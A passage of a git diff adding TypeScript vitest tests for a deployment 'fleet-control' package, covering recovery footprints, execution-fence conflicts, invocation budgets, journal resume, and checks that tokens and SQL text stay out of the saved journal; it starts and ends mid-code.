+    const witness = checkInterruptionWitness(
+      JSON.stringify(value()),
+      expected,
+    ).value;
+    const active = {
+      status: 'active',
+      planCursor: 0,
+      entryRecordDigest: ENTRY_DIGEST,
+      targetSpecDigest: TARGET_DIGEST,
+    };
+    const pending = { ...active, status: 'pending' };
+    expect(
+      refusal(() => checkInterruptedItems(witness, [active, pending])),
+    ).toBe('accepted');
+    const pairs: readonly (readonly [
+      DirectScenarioInterruptedItem,
+      DirectScenarioInterruptedItem,
+    ])[] = [
+      [{ ...active, status: 'complete' }, pending],
+      [{ ...active, planCursor: 1 }, pending],
+      [{ ...active, entryRecordDigest: 'a'.repeat(64) }, pending],
+      [{ ...active, targetSpecDigest: 'a'.repeat(64) }, pending],
+      [active, { ...pending, status: 'active' }],
+    ];
+    for (const items of pairs)
+      expect(refusal(() => checkInterruptedItems(witness, items))).toBe(
+        'observation-mismatch',
+      );
+  });
+});
+
+describe('scenario recovery footprint', () => {
+  const DATABASE_NAME = 'recovery-database-name';
+  const CREATED = '2026-09-10T00:00:00.000Z';
+  const NAMESPACES = ['maintenance-namespace', 'runner-namespace'];
+  const receipt: CleanupTerminalReceipt = {
+    version: 1,
+    operationId: 'cleanup-operation',
+    tenantTag: 'tenant',
+    environment: 'production',
+    backend: 'plain-worker',
+    scriptName: 'recovery-script',
+    databaseId: 'recovery-database',
+    databaseName: DATABASE_NAME,
+    authority: 'provisioning-rollback',
+    admittedPhase: 'database-reserved',
+    disposition: 'reservation-cleared',
+    evidence: {
+      eligibility: 'reservation-only',
+      ingressRemoved: true,
+      workerAbsent: true,
+      platformResourcesAbsent: true,
+      applicationR2Settled: true,
+      databaseAbsentReadback: true,
+    },
+    completedAtMs: 1,
+  };
+  const resource: DirectWorkerVersionObservation = {
+    ...observation('recovery-version', 100, [
+      { versionId: 'recovery-version', percentage: 100 },
+    ]),
+    role: 'recovery',
+    scriptName: 'recovery-script',
+    databaseId: 'recovery-database',
+    namespaces: [
+      {
+        binding: 'RUNNER',
+        className: 'Runner',
+        namespaceId: 'runner-namespace',
+      },
+      {
+        binding: 'MAINTENANCE',
+        className: 'Maintenance',
+        namespaceId: 'maintenance-namespace',
+      },
+    ],
+    bucket: { name: 'bucket', jurisdiction: 'default', creationDate: CREATED },
+  };
+  const footprint = (retained: boolean): DirectScenarioFootprint => ({
+    version: 1,
+    role: 'recovery',
+    beforeIdentitySha256: 'b'.repeat(64),
+    fleetRecordPresent: false,
+    deploymentClaimsPresent: false,
+    database: {
+      id: 'recovery-database',
+      expectedName: DATABASE_NAME,
+      observedName: null,
+    },
+    worker: {
+      scriptName: 'recovery-script',
+      scriptPresent: retained,
+      workersDevEnabled: retained ? false : null,
+      previewUrlsEnabled: retained ? false : null,
+      customDomains: [],
+      zoneRoutes: [],
+      currentSecretNames: [],
+      currentVersionIds: retained ? ['recovery-version'] : null,
+      currentNamespaceIds: retained ? NAMESPACES : [],
+      survivingRecordedNamespaceIds: retained ? NAMESPACES : [],
+    },
+    buckets: [
+      {
+        bindingName: 'PROBE_BUCKET',
+        bucketName: 'bucket',
+        jurisdiction: 'default',
+        expectedCreationDate: CREATED,
+        observedCreationDate: retained ? CREATED : null,
+      },
+    ],
+    priorCleanup: {
+      operationId: 'cleanup-operation',
+      observedReceiptSha256: directCleanupReceiptDigest(receipt),
+      matchesBefore: true,
+    },
+  });
+  const context = {
+    resource,
+    databaseName: DATABASE_NAME,
+    cleanup: receipt,
+    versionIdMaximum: DIRECT_SCENARIO_ARRAY_MAXIMA.footprintVersionIds,
+  };
+
+  it('accepts the retained footprint and the residual footprint it carries forward', () => {
+    const force = checkFootprint(footprint(true), {
+      ...context,
+      retained: true,
+    });
+    expect(force).toEqual(footprint(true));
+    expect(
+      checkFootprint(footprint(false), {
+        ...context,
+        retained: false,
+        force,
+      }),
+    ).toEqual(footprint(false));
+  });
+
+  it('refuses a footprint the recovery resources and the cleanup receipt do not account for', () => {
+    const retained = footprint(true);
+    for (const observed of [
+      { ...retained, role: 'a' },
+      { ...retained, fleetRecordPresent: true },
+      {
+        ...retained,
+        database: { ...retained.database, observedName: 'present' },
+      },
+      { ...retained, worker: { ...retained.worker, scriptPresent: false } },
+      {
+        ...retained,
+        worker: { ...retained.worker, workersDevEnabled: null },
+      },
+      { ...retained, worker: { ...retained.worker, currentNamespaceIds: [] } },
+      {
+        ...retained,
+        worker: { ...retained.worker, currentVersionIds: ['other-version'] },
+      },
+      {
+        ...retained,
+        worker: {
+          ...retained.worker,
+          currentVersionIds: [
+            'recovery-version',
+            ...Array.from(
+              { length: DIRECT_SCENARIO_ARRAY_MAXIMA.footprintVersionIds },
+              () => 'other-version',
+            ),
+          ],
+        },
+      },
+      { ...retained, buckets: [] },
+      {
+        ...retained,
+        priorCleanup: { ...retained.priorCleanup, operationId: 'other' },
+      },
+      {
+        ...retained,
+        priorCleanup: {
+          ...retained.priorCleanup,
+          observedReceiptSha256: 'a'.repeat(64),
+        },
+      },
+    ])
+      expect(
+        refusal(() => checkFootprint(observed, { ...context, retained: true })),
+      ).toBe('observation-mismatch');
+    expect(
+      refusal(() =>
+        checkFootprint(footprint(false), {
+          ...context,
+          retained: false,
+          force: {
+            ...footprint(true),
+            beforeIdentitySha256: 'c'.repeat(64),
+          },
+        }),
+      ),
+    ).toBe('observation-mismatch');
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-scenario.test.ts b/packages/fleet-control/test/direct-credentialed-scenario.test.ts
new file mode 100644
index 00000000..23c6df6d
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-scenario.test.ts
@@ -0,0 +1,1667 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { readFile } from 'node:fs/promises';
+import { join } from 'node:path';
+import {
+  EXECUTION_FENCE_ROW_ID,
+  EXECUTION_FENCE_TABLE,
+} from '@proofoftech/flowsafe/deployment-identity-protocol';
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import {
+  createDirectInvocationClient,
+  type DirectInvocationClient,
+  DirectInvocationError,
+} from '../scripts/direct-credentialed-invocation.mjs';
+import { observeDirectWorkerVersion } from '../scripts/direct-credentialed-observations.mjs';
+import {
+  type DirectRunJournal,
+  openDirectRunState,
+} from '../scripts/direct-credentialed-run-state.mjs';
+import {
+  type DirectScenarioState,
+  runDirectCredentialedScenario,
+} from '../scripts/direct-credentialed-scenario.mjs';
+import {
+  DIRECT_SCENARIO_INVOCATION_BUDGET,
+  DIRECT_SCENARIO_MIN_INVOCATIONS,
+} from '../scripts/direct-credentialed-scenario-budget.mjs';
+import {
+  hash,
+  jsonHash,
+  recordFacts,
+} from '../scripts/direct-credentialed-scenario-checks.mjs';
+import { DIRECT_TENANT_OBJECT_BODY } from '../scripts/direct-credentialed-tenant-object.mjs';
+import type { DirectReferenceAction } from '../scripts/direct-reference-contract.mjs';
+import { directObservationFixture } from './fixtures/direct-observations.js';
+import {
+  type MutableScenario,
+  PROCESS,
+  present,
+  RESUMED,
+  scenarioJournal,
+  scenarioWith,
+} from './fixtures/direct-run-state-builder.js';
+import {
+  childResumeDirectScenario as childResume,
+  directScenarioCleanup as cleanup,
+  closeDirectScenarioFixtures,
+  type DirectScenarioNodeResponse,
+  createDirectScenarioFixture as fixture,
+  resumeDirectScenarioJournal as resume,
+} from './fixtures/direct-scenario-harness.js';
+
+afterEach(closeDirectScenarioFixtures);
+
+type FenceMutationAfter = {
+  state: string;
+  mutationEpoch: number;
+  requireMutationEpoch: boolean;
+  transitionRevision: number;
+};
+
+/**
+ * One armed interception of the reference Worker's own fence answer. The first
+ * `tenant-fence` reply whose new state matches `operation` is replaced by the
+ * CAS conflict `reason` describes; every later reply passes through, so the
+ * case pins what the run does with a single conflict rather than a stream.
+ */
+function fenceConflict(
+  operation: 'drain' | 'reopen',
+  reason: (after: FenceMutationAfter) => Record<string, unknown>,
+  onConflict?: () => void,
+) {
+  let armed = true;
+  const nodeResponse: DirectScenarioNodeResponse = async (
+    _request,
+    response,
+  ) => {
+    if (
+      !armed ||
+      !response.headers.get('content-type')?.includes('application/json')
+    )
+      return response;
+    const value = (await response.clone().json()) as {
+      action?: string;
+      result?: { after?: FenceMutationAfter };
+    };
+    const after = value.result?.after;
+    if (
+      value.action !== 'tenant-fence' ||
+      after?.state !== (operation === 'drain' ? 'draining' : 'open')
+    )
+      return response;
+    armed = false;
+    onConflict?.();
+    return Response.json(
+      {
+        ...value,
+        result: {
+          ok: false,
+          reason: {
+            code: 'FENCE_CAS_CONFLICT',
+            ...reason(after),
+            conflict: 'expectation-mismatch',
+          },
+        },
+      },
+      { status: response.status, headers: response.headers },
+    );
+  };
+  return { nodeResponse, fired: () => !armed };
+}
+
+describe.sequential('scenario proof failures in native reference state', {
+  timeout: 660_000,
+}, () => {
+  it('reads uploaded runtime limits through the native fixture and rejects settings drift', async () => {
+    const f = await fixture();
+    const input = f.input();
+    await input.invocation.invoke({
+      kind: 'provision',
+      role: 'a',
+      release: 'initial',
+    });
+    const control = (await input.invocation.invoke({ kind: 'control-read' }))
+      .result as {
+      records: {
+        role: string;
+        artifactVersion: string;
+        databaseId: string;
+        desiredSpecDigest: string;
+      }[];
+    };
+    const record = control.records.find((record) => record.role === 'a');
+    if (!record) throw new Error('native fixture record is missing');
+    const expected = {
+      ...input,
+      role: 'a' as const,
+      applicationRelease: '1' as const,
+      versionId: record.artifactVersion,
+      databaseId: record.databaseId,
+      specDigest: record.desiredSpecDigest,
+    };
+    expect(await observeDirectWorkerVersion(expected)).toMatchObject({
+      cpuLimitMs: 50,
+      subrequestLimit: 50,
+    });
+    const upload = f.native.projection.requests.find(
+      (request) =>
+        request.method === 'PUT' && request.url.includes('/workers/scripts/'),
+    );
+    const metadata = (
+      upload?.body as
+        | { metadata: { limits: { subrequests: number } } }
+        | undefined
+    )?.metadata;
+    if (!metadata) throw new Error('native fixture upload metadata is missing');
+    metadata.limits.subrequests++;
+    await expect(observeDirectWorkerVersion(expected)).rejects.toMatchObject({
+      code: 'observation-mismatch',
+    });
+    expect(f.native.bridgeErrors).toEqual([]);
+  });
+
+  it('rejects a changed original witness before any resumed mutation', async () => {
+    let corrupt = false;
+    const f = await fixture({
+      nodeResponse: async (_request, response) => {
+        if (
+          !corrupt ||
+          !response.headers.get('content-type')?.includes('application/json')
+        )
+          return response;
+        const value = (await response.clone().json()) as {
+          action?: string;
+          result?: { interruption?: string };
+        };
+        if (value.action !== 'control-read' || !value.result?.interruption)
+          return response;
+        const witness = JSON.parse(value.result.interruption);
+        witness.claimJson = JSON.stringify({
+          ...JSON.parse(witness.claimJson),
+          operationId: 'foreign-operation',
+        });
+        value.result.interruption = JSON.stringify(witness);
+        return Response.json(value, {
+          status: response.status,
+          headers: response.headers,
+        });
+      },
+    });
+    expect(await runDirectCredentialedScenario(f.input())).toEqual({
+      status: 'restart-required',
+    });
+    const mutations = [...f.native.world.mutationLog];
+    corrupt = true;
+    const child = await childResume(f);
+    expect(child.result).toMatchObject({
+      status: 'failed',
+      reason: 'observation-mismatch',
+      phase: 'migration-restart',
+    });
+    expect(f.native.world.mutationLog).toEqual(mutations);
+  });
+
+  it('hashes export bytes and dispatches no later tenant D1 deletion on mismatch', async () => {
+    let corruptions = 0;
+    const f = await fixture({
+      nodeResponse: async (request, response) => {
+        if (
+          !request.url.includes('/r2/buckets/') ||
+          !request.url.includes('/objects/') ||
+          !response.ok
+        )
+          return response;
+        corruptions++;
+        const bytes = new Uint8Array(await response.arrayBuffer());
+        bytes[0] = (bytes[0] ?? 0) ^ 1;
+        return new Response(bytes, { status: 200, headers: response.headers });
+      },
+    });
+    expect(await runDirectCredentialedScenario(f.input())).toEqual({
+      status: 'restart-required',
+    });
+    const databaseId =
+      f.local.journal.snapshot().scenario?.proofs.initial.a?.databaseId;
+    const child = await childResume(f);
+    expect(child.result).toMatchObject({
+      status: 'failed',
+      reason: 'observation-mismatch',
+      phase: 'decommission-a',
+    });
+    expect(corruptions).toBe(1);
+    expect(
+      f.native.projection.requests.filter(
+        (request) =>
+          request.method === 'DELETE' &&
+          request.url.endsWith(`/d1/database/${databaseId}`),
+      ),
+    ).toEqual([]);
+    const state = JSON.parse(
+      await readFile(join(f.local.journal.directory, 'journal.json'), 'utf8'),
+    );
+    expect(state.scenario.proofs.exports.a).toBeNull();
+    expect(state.scenario.proofs.decommission.a).toBeNull();
+    const resumed = await resume(f);
+    const count = resumed.snapshot().invocationCount;
+    expect(await runDirectCredentialedScenario(f.input(resumed))).toMatchObject(
+      { status: 'failed', reason: 'observation-mismatch' },
+    );
+    expect(resumed.snapshot().invocationCount).toBe(count);
+  });
+
+  it('stops on proof fsync failure and safely resumes the settled export boundary', async () => {
+    const f = await fixture();
+    expect(await runDirectCredentialedScenario(f.input())).toEqual({
+      status: 'restart-required',
+    });
+    const databaseId =
+      f.local.journal.snapshot().scenario?.proofs.initial.a?.databaseId;
+    const child = await childResume(f, 'export-fsync');
+    expect(child.stdout).toContain('SCENARIO_FAULT export-fsync');
+    expect(child.result).toMatchObject({
+      status: 'failed',
+      reason: 'journal-failed',
+      phase: 'decommission-a',
+    });
+    expect(
+      f.native.projection.requests.filter(
+        (request) =>
+          request.method === 'DELETE' &&
+          request.url.endsWith(`/d1/database/${databaseId}`),
+      ),
+    ).toEqual([]);
+    const resumed = await resume(f);
+    expect(resumed.snapshot().scenario?.proofs.exports.a).toBeNull();
+    const result = await runDirectCredentialedScenario(f.input(resumed));
+    expect({ result, state: resumed.snapshot().scenario }).toMatchObject({
+      result: { status: 'complete' },
+    });
+    expect(resumed.snapshot().scenario?.proofs.exports.a?.verified).toBe(true);
+    expect(resumed.snapshot().invocationCount).toBeLessThanOrEqual(
+      f.local.prepared.config.referenceWorker.maxInvocations,
+    );
+  });
+});
+
+describe('scenario journal refusal boundaries', () => {
+  it('refuses a configured budget below the declared scenario floor before any invocation', async () => {
+    const local = await directObservationFixture(1000, 'confirmed', {
+      maxInvocations: DIRECT_SCENARIO_MIN_INVOCATIONS - 1,
+    });
+    cleanup.push(() => local.close());
+    let calls = 0;
+    const invocation = {
+      async invoke() {
+        calls++;
+        throw new Error('unexpected invocation');
+      },
+    };
+    const input = {
+      prepared: local.prepared,
+      journal: local.journal,
+      invocation,
+      apiToken: 'inert',
+    };
+    expect(await runDirectCredentialedScenario(input)).toMatchObject({
+      status: 'failed',
+      reason: 'budget-exhausted',
+      detail: 'below-scenario-floor',
+      phase: 'provision-a',
+      invocationCount: 1,
+    });
+    expect(calls).toBe(0);
+    expect(local.journal.snapshot().scenario?.failure).toMatchObject({
+      code: 'budget-exhausted',
+    });
+    expect(await runDirectCredentialedScenario(input)).toMatchObject({
+      status: 'failed',
+      reason: 'budget-exhausted',
+      detail: 'below-scenario-floor',
+    });
+    expect(calls).toBe(0);
+  });
+
+  it('retains the exhausted original invocation budget and closed scenario fields', async () => {
+    const local = await directObservationFixture(1000, 'confirmed', {
+      maxInvocations: DIRECT_SCENARIO_MIN_INVOCATIONS,
+    });
+    cleanup.push(() => local.close());
+    while (
+      local.journal.snapshot().invocationCount < DIRECT_SCENARIO_MIN_INVOCATIONS
+    )
+      await local.settle({ kind: 'control-read' });
+    let calls = 0;
+    const invocation = {
+      async invoke() {
+        calls++;
+        throw new Error('unexpected invocation');
+      },
+    };
+    const outcome = await runDirectCredentialedScenario({
+      prepared: local.prepared,
+      journal: local.journal,
+      invocation,
+      apiToken: 'inert',
+    });
+    expect(outcome).toMatchObject({
+      status: 'failed',
+      reason: 'invocation-budget-exhausted',
+      invocationCount: DIRECT_SCENARIO_MIN_INVOCATIONS,
+    });
+    expect(calls).toBe(0);
+    const state = local.journal.snapshot().scenario;
+    if (!state) throw new Error('scenario state is missing');
+    for (const bad of [
+      { ...state, headers: { authorization: 'private-sentinel' } },
+      { ...state, phase: 'complete' },
+      {
+        ...state,
+        lastCall: {
+          ordinal: DIRECT_SCENARIO_MIN_INVOCATIONS,
+          action: { kind: 'control-read', token: 'opaque-sentinel' },
+          outcome: 'returned',
+          attempts: { provider: 0, maintenance: 0, application: 0 },
+          migration: null,
+        },
+      },
+    ])
+      await expect(
+        local.journal.recordScenario(bad as typeof state),
+      ).rejects.toMatchObject({ code: 'invalid-state' });
+    expect(
+      await readFile(join(local.journal.directory, 'journal.json'), 'utf8'),
+    ).not.toContain('sentinel');
+    await local.journal.close();
+    const resumed = await openDirectRunState({
+      configPath: local.configPath,
+      prepared: local.prepared,
+      accountId: 'account',
+      mode: 'resume',
+    });
+    cleanup.push(() => resumed.close());
+    expect(resumed.snapshot().invocationCount).toBe(
+      DIRECT_SCENARIO_MIN_INVOCATIONS,
+    );
+    expect(resumed.snapshot().bootstrap).toEqual(
+      local.journal.snapshot().bootstrap,
+    );
+    expect(
+      await runDirectCredentialedScenario({
+        prepared: local.prepared,
+        journal: resumed,
+        invocation,
+        apiToken: 'inert',
+      }),
+    ).toMatchObject({
+      status: 'failed',
+      reason: 'invocation-budget-exhausted',
+    });
+    expect(calls).toBe(0);
+  });
+
+  it('refuses a provisioned deployment carrying more versions than the journal holds', async () => {
+    const local = await directObservationFixture(1000, 'confirmed', {
+      maxInvocations: DIRECT_SCENARIO_MIN_INVOCATIONS,
+    });
+    cleanup.push(() => local.close());
+    const [target] = local.expected;
+    if (!target) throw new Error('observation fixture target is missing');
+    for (const versionId of ['zero-weight-1', 'zero-weight-2'])
+      local.deployment.versions.push({ version_id: versionId, percentage: 0 });
+    local.hook(async (request, fallback) => {
+      const response = fallback();
+      const path = new URL(request.url).pathname;
+      if (
+        !path.endsWith(`/versions/${target.versionId}`) &&
+        !path.endsWith('/settings')
+      )
+        return response;
+      const released = (bindings: unknown) =>
+        (bindings as { name: string; text?: string }[]).map((entry) =>
+          entry.name === 'APPLICATION_RELEASE' ||
+          entry.name === 'FLEET_SCHEMA_VERSION'
+            ? { ...entry, text: '1' }
+            : entry,
+        );
+      const body = (await response.json()) as {
+        result: {
+          bindings?: unknown;
+          resources?: { bindings?: unknown };
+        };
+      };
+      if (body.result.resources?.bindings)
+        body.result.resources.bindings = released(
+          body.result.resources.bindings,
+        );
+      if (body.result.bindings)
+        body.result.bindings = released(body.result.bindings);
+      return Response.json(body);
+    });
+    let provisioned = false;
+    const control = () => ({
+      binding: {
+        version: 1,
+        accountId: 'account',
+        fleetDatabaseId: 'fleet-id',
+        quotaDatabaseId: 'quota-id',
+        exportBucketName: local.prepared.names.exportBucket,
+        referenceModuleSetSha256: local.prepared.referenceModuleSetSha256,
+        accountWorkersDevSubdomain: 'attested-account',
+      },
+      operations: [],
+      records: [
+        ...local.expected.map((entry) => ({
+          role: entry.role,
+          present: provisioned && entry.role === target.role,
+          ...(provisioned && entry.role === target.role
+            ? {
+                phase: 'ready',
+                desiredSpecDigest: entry.specDigest,
+                pendingSpecDigest: entry.specDigest,
+                artifactVersion: entry.versionId,
+                pendingArtifactVersion: entry.versionId,
+                databaseId: entry.databaseId,
+              }
+            : {}),
+        })),
+        { role: 'recovery' as const, present: false },
+      ],
+      interruption: null,
+      forceBefore: null,
+      forceAfter: null,
+    });
+    const invocation: DirectInvocationClient = {
+      async invoke(action) {
+        const reservation = await local.journal.reserveInvocation(
+          JSON.stringify({
+            contractVersion: 1,
+            configSha256: local.prepared.configSha256,
+            action,
+          }),
+        );
+        await local.journal.settleInvocation(reservation);
+        const attempts = { provider: 0, maintenance: 0, application: 0 };
+        if (action.kind === 'control-read')
+          return { result: control(), attempts };
+        if (action.kind === 'provision' && action.role === target.role) {
+          provisioned = true;
+          return { result: { status: 'ready' }, attempts };
+        }
+        throw new Error(`unexpected fixture action ${action.kind}`);
+      },
+    };
+    expect(
+      await runDirectCredentialedScenario({ ...local.input, invocation }),
+    ).toMatchObject({
+      status: 'failed',
+      reason: 'observation-mismatch',
+      phase: 'provision-a',
+    });
+    const state = local.journal.snapshot().scenario;
+    expect(state?.failure).toMatchObject({ code: 'observation-mismatch' });
+    expect(state?.proofs.initial.a).toBeNull();
+  });
+
+  it('retains an unknown pending invocation and refuses readbacks and concurrent mutation', async () => {
+    const local = await directObservationFixture();
+    cleanup.push(() => local.close());
+    let calls = 0;
+    const invocation = createDirectInvocationClient({
+      prepared: local.prepared,
+      journal: local.journal,
+      accountWorkersDevSubdomain: 'attested-account',
+      invokeSecret: 'inert',
+      fetch: async () => {
+        calls++;
+        throw new Error('unknown synthetic delivery');
+      },
+    });
+    const input = {
+      prepared: local.prepared,
+      journal: local.journal,
+      invocation,
+      apiToken: 'inert',
+    };
+    expect(await runDirectCredentialedScenario(input)).toMatchObject({
+      status: 'failed',
+      reason: 'outcome-unknown',
+    });
+    const snapshot = local.journal.snapshot();
+    expect(snapshot.lastInvocation?.state).toBe('pending');
+    expect(snapshot.invocationCount).toBe(2);
+    const firstRunCalls = calls;
+    expect(firstRunCalls).toBeGreaterThanOrEqual(1);
+    expect(await runDirectCredentialedScenario(input)).toMatchObject({
+      status: 'failed',
+      reason: 'outcome-unknown',
+    });
+    expect(local.journal.snapshot()).toEqual(snapshot);
+    expect(calls).toBe(firstRunCalls);
+  });
+});
+
+describe.sequential('fixed Node scenario through native reference dispatch', {
+  timeout: 660_000,
+}, () => {
+  it('completes normal migration, historical recovery and force after a real child restart', async () => {
+    const f = await fixture();
+    const first = await runDirectCredentialedScenario(f.input());
+    expect({
+      first,
+      bridgeErrors: f.native.bridgeErrors,
+      state: f.local.journal.snapshot().scenario,
+    }).toMatchObject({
+      first: { status: 'restart-required' },
+      bridgeErrors: [],
+    });
+    const initial = f.local.journal.snapshot();
+    const count = initial.invocationCount;
+    expect(await runDirectCredentialedScenario(f.input())).toEqual({
+      status: 'restart-required',
+    });
+    expect(f.local.journal.snapshot().invocationCount).toBe(count);
+    const witness = await f.native.journal().readInterruption();
+    expect(witness).not.toBeNull();
+    const stale = JSON.parse(JSON.parse(witness as string).claimJson);
+    const wrong = await f.native.call({
+      kind: 'migration-continue',
+      token: { ...stale, operationId: 'foreign-operation' },
+    });
+    expect(wrong.response.status).toBe(409);
+    expect(wrong.response.headers.get('X-Direct-Provider-Attempts')).toBe('0');
+    await f.native.reload();
+    const child = await childResume(f);
+    expect({
+      result: child.result,
+      bridgeErrors: f.native.bridgeErrors,
+      journal: await readFile(
+        join(f.local.journal.directory, 'journal.json'),
+        'utf8',
+      ),
+    }).toMatchObject({ result: { status: 'complete' }, bridgeErrors: [] });
+    if (child.result?.status !== 'complete')
+      throw new Error('scenario did not complete');
+    const proofs = child.result.facts;
+    expect(proofs.restart?.process.pid).toBe(process.pid);
+    expect(proofs.restart?.resumedProcess?.pid).not.toBe(process.pid);
+    for (const role of ['a', 'b'] as const) {
+      const fence = proofs.fence;
+      expect(fence.drain[role]).toMatchObject({
+        before: {
+          state: 'open',
+          mutationEpoch: 0,
+          requireMutationEpoch: false,
+        },
+        after: {
+          state: 'draining',
+          mutationEpoch: 1,
+          requireMutationEpoch: true,
+        },
+        ordinal: expect.any(Number),
+      });
+      expect(fence.reopen[role]).toMatchObject({
+        before: {
+          state: 'draining',
+          mutationEpoch: 1,
+          requireMutationEpoch: true,
+        },
+        after: { state: 'open', mutationEpoch: 1, requireMutationEpoch: true },
+        ordinal: expect.any(Number),
+      });
+      expect(fence.sweeps[role]).toMatchObject({
+        first: { fence: { state: 'draining' }, ordinal: expect.any(Number) },
+        second: { fence: { state: 'draining' }, ordinal: expect.any(Number) },
+        intervalMs: expect.any(Number),
+      });
+      for (const sweep of [
+        fence.sweeps[role]?.first,
+        fence.sweeps[role]?.second,
+      ]) {
+        expect(sweep).not.toBeNull();
+        expect(
+          sweep?.categories.every(
+            (entry) => entry.class !== 'work' || entry.empty,
+          ),
+        ).toBe(true);
+      }
+      expect(fence.probes[role]).toEqual({
+        current: 'accepted',
+        missing: 'missing',
+        stale: 'stale',
+        future: 'future',
+        mutationEpoch: 1,
+        ordinal: expect.any(Number),
+      });
+      expect(proofs.initial[role]?.trafficPercentage).toBe(100);
+      expect(proofs.candidate[role]?.trafficPercentage).toBe(0);
+      expect(proofs.final[role]?.trafficPercentage).toBe(100);
+      expect(proofs.exports[role]?.verified).toBe(true);
+      expect(proofs.decommission[role]?.phase).toBe('decommissioned');
+      const history = proofs.exportVerifications.filter(
+        (entry) => entry.role === role,
+      );
+      expect(history.length).toBeGreaterThan(0);
+      expect(history.filter((entry) => entry.verified)).toEqual(history);
+      expect(history.at(-1)).toEqual(proofs.exports[role]);
+    }
+    expect(proofs.terminalForce.a).toEqual({
+      databaseId: proofs.decommission.a?.databaseId,
+      scriptName: proofs.decommission.a?.scriptName,
+      ordinal: expect.any(Number),
+      attempts: { provider: 0, maintenance: 0, application: 0 },
+    });
+    expect(proofs.inventories.after?.routeHostnames).toEqual(
+      proofs.inventories.before?.routeHostnames,
+    );
+    expect(proofs.inventories.after?.routeHostnames).toEqual(
+      (['a', 'b'] as const)
+        .map((role) => f.local.prepared.names.roles[role].routeHostname)
+        .sort(),
+    );
+    expect(proofs.effects).toHaveLength(2);
+    expect(proofs.inventories.before?.calls).toBeGreaterThan(1);
+    expect(proofs.inventories.after?.generation).toBeGreaterThan(
+      proofs.inventories.before?.generation ?? 0,
+    );
+    expect(proofs.audits.before?.findings).toEqual([]);
+    expect(proofs.audits.after?.findings).toEqual([]);
+    expect(proofs.force?.worker.scriptPresent).toBe(true);
+    expect(proofs.residual?.worker.scriptPresent).toBe(false);
+    expect(proofs.force?.priorCleanup.operationId).toBe(
+      proofs.cleanup?.operationId,
+    );
+    expect(proofs.residual?.priorCleanup).toEqual(proofs.force?.priorCleanup);
+    expect(f.native.world.databases).toEqual([]);
+    expect(f.native.buckets.size).toBe(0);
+    expect((await f.native.exportBytes.list()).objects.length).toBeGreaterThan(
+      0,
+    );
+    const serialized = await readFile(
+      join(f.local.journal.directory, 'journal.json'),
+      'utf8',
+    );
+    for (const sentinel of [
+      'APP_PROBE_TOKEN',
+      'inert-provider-token',
+      'inert-invoke',
+      'claimJson',
+      'tokenJson',
+      'SELECT ',
+      'CREATE TABLE ',
+      'INSERT INTO ',
+      DIRECT_TENANT_OBJECT_BODY,
+    ])
+      expect(serialized).not.toContain(sentinel);
+    const budget: Record<string, { ceiling: number }> =
+      DIRECT_SCENARIO_INVOCATION_BUDGET;
+    const phaseCalls: Record<string, number> =
+      JSON.parse(serialized).scenario.phaseCalls;
+    for (const phase of ['fence-drain', 'fence-reopen', 'fence-proofs'])
+      expect(phaseCalls[phase]).toBe(9);
+    expect(
+      Object.entries(phaseCalls).filter(
+        ([phase, calls]) => calls > (budget[phase]?.ceiling ?? 0),
+      ),
+    ).toEqual([]);
+    expect(serialized).not.toContain(JSON.parse(witness as string).claimJson);
+    const resumed = await resume(f);
+    expect((await runDirectCredentialedScenario(f.input(resumed))).status).toBe(
+      'complete',
+    );
+  });
+});
+
+describe.sequential('fence composition through native reference dispatch', {
+  timeout: 660_000,
+}, () => {
+  it.each([
+    ['reopen', 'draining', 1],
+    ['reopen', 'open', 2],
+    ['drain', 'open', 1],
+  ] as const)('refuses a %s conflict at %s epoch %i without a later mutation', async (operation, state, mutationEpoch) => {
+    let mutations: string[] | undefined;
+    const conflict = fenceConflict(
+      operation,
+      (after) => ({
+        state,
+        mutationEpoch,
+        requireMutationEpoch: true,
+        transitionRevision: after.transitionRevision,
+      }),
+      () => {
+        mutations = [...f.native.world.mutationLog];
+      },
+    );
+    const f = await fixture({ nodeResponse: conflict.nodeResponse });
+    const first = await runDirectCredentialedScenario(f.input());
+    if (operation === 'reopen') {
+      expect(first).toEqual({ status: 'restart-required' });
+      expect((await childResume(f)).result).toMatchObject({
+        status: 'failed',
+        reason: 'observation-mismatch',
+        phase: 'fence-reopen',
+      });
+    } else {
+      expect(first).toMatchObject({
+        status: 'failed',
+        reason: 'observation-mismatch',
+        phase: 'fence-drain',
+      });
+    }
+    expect(conflict.fired()).toBe(true);
+    const disk = JSON.parse(
+      await readFile(join(f.local.journal.directory, 'journal.json'), 'utf8'),
+    );
+    expect(disk.scenario.failure.code).toBe('observation-mismatch');
+    expect(f.native.world.mutationLog).toEqual(mutations);
+  });
+
+  it.each([
+    'drain',
+    'reopen',
+  ] as const)('accepts a flattened %s conflict with an intervening revision', async (operation) => {
+    const conflict = fenceConflict(operation, (after) => ({
+      ...after,
+      transitionRevision: after.transitionRevision + 1,
+    }));
+    const f = await fixture({ nodeResponse: conflict.nodeResponse });
+    expect(await runDirectCredentialedScenario(f.input())).toEqual({
+      status: 'restart-required',
+    });
+    const child = await childResume(f);
+    expect(child.result).toMatchObject({ status: 'complete' });
+    expect(conflict.fired()).toBe(true);
+    if (child.result?.status !== 'complete')
+      throw new Error('scenario did not complete');
+    const entry = child.result.facts.fence[operation].a;
+    expect(entry?.after).toEqual({
+      state: operation === 'drain' ? 'draining' : 'open',
+      mutationEpoch: 1,
+      requireMutationEpoch: true,
+      transitionRevision: (entry?.before.transitionRevision ?? -1) + 2,
+    });
+    if (operation === 'drain')
+      expect(child.result.facts.fence.reopen.a?.before.transitionRevision).toBe(
+        (entry?.before.transitionRevision ?? -1) + 1,
+      );
+  });
+
+  it('replays a settled reopen body and preserves the saved draining sweep', async () => {
+    const f = await fixture();
+    expect(await runDirectCredentialedScenario(f.input())).toEqual({
+      status: 'restart-required',
+    });
+    await f.native.reload();
+    const hostname = f.local.prepared.names.roles.a.routeHostname;
+    const bodies: Buffer[] = [];
+    const originalFetch = f.native.projection.fetch;
+    const capture = vi
+      .spyOn(f.native.projection, 'fetch')
+      .mockImplementation(async (input, init) => {
+        const url = new URL(input instanceof Request ? input.url : input);
+        if (
+          url.hostname === hostname &&
+          url.pathname === '/admin/execution-fence' &&
+          init?.method === 'POST' &&
+          typeof init.body === 'string'
+        ) {
+          const parsed = JSON.parse(init.body);
+          if (parsed.next === 'open')
